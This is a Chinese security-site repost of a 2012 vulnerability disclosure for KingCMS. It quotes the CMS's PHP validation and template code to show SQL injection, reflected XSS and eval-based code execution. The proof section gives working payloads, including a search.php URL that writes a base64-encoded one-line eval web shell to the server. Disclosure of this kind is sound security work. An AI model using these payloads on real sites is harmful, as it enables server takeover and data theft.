热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全
站外
广告
域名申请虚拟主机 信息安全 域名注册 云主机 网络安全技术 企业网络安全 站外
广告
文字广告位招租 文字广告位招租 文字广告位招租 文字广告位招租 云安全

KingCms SQL注入加+代码执行多处漏洞

发布时间:2012-08-27 09:38文章来源:wooyun文章作者:Zvall 点击次数:
摘要:漏洞作者: Zvall 提交时间: 2012-07-11 公开时间: 2012-08-25 漏洞类型: SQL注射漏洞 简要描述:SQL注入加+代码执行 详细说明: functionkc_pageLoad(){ if(KC_MAGIC_QUOTES_GPC){ $ _GET = kc_stripslashes_array ($_GET); $ _POST = kc_stripslashes_a...

漏洞作者: Zvall

提交时间: 2012-07-11
公开时间: 2012-08-25

漏洞类型: SQL注射漏洞

简要描述:SQL注入加+代码执行


详细说明:

  1. function kc_pageLoad(){  
  2. if (KC_MAGIC_QUOTES_GPC){  
  3. $_GET=kc_stripslashes_array($_GET);  
  4. $_POST=kc_stripslashes_array($_POST);  
  5. $_COOKIE=kc_stripslashes_array($_COOKIE);  
  6. $arrayarray=array('PHP_SELF','SCRIPT_URI','QUERY_STRING','PATH_INFO','PATH_TRANSLATED');  
  7. foreach($array as $val){  
  8. if(isset($_SERVER[$val]))  
  9. $_SERVER[$val]=htmlspecialchars($_SERVER[$val]);  
  10. //这里程序员考虑到了跨站的问题  
  11. 例如:我们提交一个 fuca.php/"><script>alert(/Samy/)</script> 
  12. 就导致一个反射型XSS  
  13.  
  14. }  
  15. }  
  16.  
  17. //设置ismethod值 true:post ; false:get  
  18. $ismethod=kc_post('METHOD') ? True : False;  
  19. $GLOBALS['ismethod']=!($_SERVER['REQUEST_METHOD']=='GET' || $ismethod);  
  20. }  
  21.  
  22.  
  23. function kc_stripslashes_array(&$_data){  
  24. if (is_array($_data)){  
  25. foreach ($_data as $_key => $_value){  
  26. $_data[$_key]=kc_stripslashes_array($_value);  
  27. }  
  28. return $_data;  
  29. }else{  
  30. return stripslashes($_data);  
  31. }  
  32. }  
  33.  


decode addslashes 呵

程序在去掉转义字符的同时.也为我们的注入带来方便

因此程序员也写了一个函数 来获取GET 和 POST数组的值 并调用kc_validate

用正则表达式来匹配我们提交的值:

function kc_get($name,$type=2,$is=0){
global $king;

$val=isset($_GET[$name]) ? $_GET[$name] :'';
if(!isset($val{0}))
$val=isset($_POST[$name]) ? $_POST[$name] : '';
if(isset($val{0})){
if(kc_validate($val,$type)){
$_getid=$val;
}else{
kc_error($king->lang->get
略....

kc_validate

  1. function kc_validate($s,$_type){  
  2. switch($_type){  
  3. case 1:$_reg='/^[a-zA-Z0-9]+$/';break;  
  4. case 2:$_reg='/^[0-9]+$/';break;  
  5. case 3:$_reg='/^([0-9\.]+\,?)+$/';break;  
  6. case 4:$_reg='/^[A-Za-z0-9\_]+$/';break;  
  7. case 5:  
  8. $_reg='/^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$/';break;  
  9. case 6:  
  10. //$_reg='/^(http|https|ftp):(\/\/|\\\\)(([\w\/\\\+\-~`@:%])+\.)+([\w\/\.\=\?\+\-~`@\:!%#]|(&)|&)+/';  
  11. $_reg='/^[a-zA-Z]{3,10}:\/\/[^\s]+$/';  
  12. break;  
  13. case 7:  
  14. global $king;  
  15. // $_bool=in_array(kc_f_ext($s),explode('|',$king->config('upimg')));  
  16. // retrun $_bool;  
  17. $_reg='/^([a-zA-Z]{3,10}:\/\/)?[^\s]+\.('.$king->config('upimg').')$/';  
  18. //$_reg='/^((http|https|ftp):(\/\/|\\\\)(([\w\/\\\+\-~`@:%])+\.)+([\w\/\.\=\?\+\-~`@\:!%#]|(&)|&)+|([\w\/\\\.\=\?\+\-~`@\':!%#]|(&)|&)+)\.('.$king->config('upimg').')$/';  
  19. break;//jpeg|jpg|gif|png|bmp  
  20. case 8:  
  21. $_reg='/^((((1[6-9]|[2-9]\d)\d{2})-(0?[13578]|1[02])-(0?[1-9]|[12]\d|3[01]))|(((1[6-9]|[2-9]\d)\d{2})-(0?[13456789]|1[012])-(0?[1-9]|[12]\d|30))|(((1[6-9]|[2-9]\d)\d{2})-0?2-(0?[1-9]|1\d|2[0-8]))|(((1[6-9]|[2-9]\d)(0[48]|[2468][048]|[13579][26])|((16|[2468][048]|[3579][26])00))-0?2-29)) (20|21|22|23|[0-1]?\d):[0-5]?\d:[0-5]?\d$/';break;  
  22. case 9:  
  23. $_reg='/^((((1[6-9]|[2-9]\d)\d{2})-(0?[13578]|1[02])-(0?[1-9]|[12]\d|3[01]))|(((1[6-9]|[2-9]\d)\d{2})-(0?[13456789]|1[012])-(0?[1-9]|[12]\d|30))|(((1[6-9]|[2-9]\d)\d{2})-0?2-(0?[1-9]|1\d|2[0-8]))|(((1[6-9]|[2-9]\d)(0[48]|[2468][048]|[13579][26])|((16|[2468][048]|[3579][26])00))-0?2-29))$/';break;  
  24. case 10:$_reg='/^\d?\.\d?\.\d{4}$/';break;  
  25. case 13:$_reg='/^#?[0-9A-Fa-f]{6}$/';break;  
  26. default:$_reg=$_type;  
  27. case 22:$_reg='/^\-?[0-9]+$/';break;  
  28. case 23:$_reg='/^[a-zA-Z][a-zA-Z0-9\_]*/';break;  
  29. case 24:$_reg='/^[a-zA-Z0-9-_]+$/';break;  
  30. case 25:$_reg='/[a-zA-Z0-9\+\%]+(\=)*$/';break;  
  31. case 33:$_reg='/^(\-?[0-9]+\,?)+$/';break;  
  32. default:$_reg=$_type;  
  33. 略..  


 

代码执行:

  1. $tmp=$t ? $t : $this->tmp;  
  2. if(substr($tmp,0,6)=='{Tags}'){  
  3. $s='<div style="border:5px solid #CCC;background:#EFEEEE;padding:15px;line-height:20px;">';  
  4. foreach($this->array as $key => $val){  
  5. $s.="<tt>{king:$key/}</tt> -&gt; $val <br/>";  
  6. }  
  7. $s.='</div>';  
  8.  
  9. }else{  
  10. kc_runtime('Template');  
  11.  
  12. $s=preg_replace_callback($this->parent,array(&$this,'regexcallback'),$tmp);  
  13.  
  14. kc_runtime('Template',1);  
  15.  
  16. }  
  17.  
  18.  
  19. $parent='/<\?(php)?(\S*?)((.|\n)+?)\?>/is';  
  20.  
  21. $s=preg_replace_callback($parent,array(&$this,'regexphpcallback'),$s);  
  22.  
  23. return $s;  
  24. public function regexphpcallback($m){  
  25. $php=$m[3];  
  26.  
  27. if(isset($php)){  
  28. ob_start();  
  29. eval($php);  
  30. $s=ob_get_clean();  
  31. }  
  32.  
  33. return $s;  
  34. }  
  35.  

漏洞证明:

由于id进入了Path中 我们提交l999999.9 or 1=1 会生成

KingCMS SQL注入加+代码执行
 

由于是从mysql中读值.我们无法控制. 不能构造webshell了

 

代码执行:

KingCMS SQL注入加+代码执行
 

http://www.yunsec.net/king/search.php?query=facked';?><?fputs(fopen('Samy.php','w'),base64_decode('MTExPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4yMjI='));?>&modelid=1 or 2=2 
 

 

KingCMS 代码执行
 

 

标签分类: SQL注入

上一篇:ESPCMS SQL注入漏洞
下一篇:Modoer1.25 SQL 注入漏洞